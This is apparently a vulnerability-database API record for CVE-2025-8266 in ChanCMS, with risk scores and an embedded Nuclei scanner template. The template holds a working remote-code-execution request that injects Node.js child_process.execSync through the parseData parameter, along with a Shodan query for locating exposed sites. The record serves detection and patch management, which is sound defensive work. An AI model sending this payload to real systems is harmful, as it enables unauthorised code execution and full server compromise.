{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-8266/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-8266/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-8266/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-8266/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-8266/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-8266/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2025-8266"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2025-8266"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.01135,"kev":false,"percentile":0.66523},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-8266.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-8266\n\ninfo:\n  name: ChanCMS <= 3.1. - Remote Code Execution\n  author: Ark\n  severity: critical\n  description: |\n    yanyutao0402 ChanCMS <= 3.1.2 contains an insecure deserialization caused by manipulation of the \\\"targetUrl\\\" argument in getArticle function of app/modules/cms/controller/collect.js, letting remote attackers execute arbitrary code, exploit requires crafted input.\n  impact: |\n    Remote attackers can execute arbitrary code, potentially leading to full system compromise.\n  remediation: |\n    Upgrade to version 3.1.3.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-8266\n    - https://github.com/advisories/GHSA-pg2f-hfwm-m7g5\n    - https://avd.aliyun.com/detail?id=AVD-2025-8266\n    - https://dbugs.ptsecurity.com/vulnerability/PT-2025-31058\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: html:\"ChanCMS\"\n  tags: cve,cve2025,chancms,rce,deserialization,intrusive,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /cms/gather/getArticle?targetUrl=http://jsonplaceholder.typicode.com/posts/1&parseData=return+process.mainModule.require(%27child_process%27).execSync(%27id%27).toString() HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"uid=\", \"gid=\", \"groups=\")'\n          - 'contains(header, \"ChanCMS\")'\n        condition: and\n# digest: 4b0a00483046022100a8ae1b283e8bdf44fdf0aca7a35c3b59fc17bf33d58fc21198c9a5347d57361c022100d092f45e04766a24f2ac8a312b485818500667e224779ba4b131bdec770bd277:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-8266"}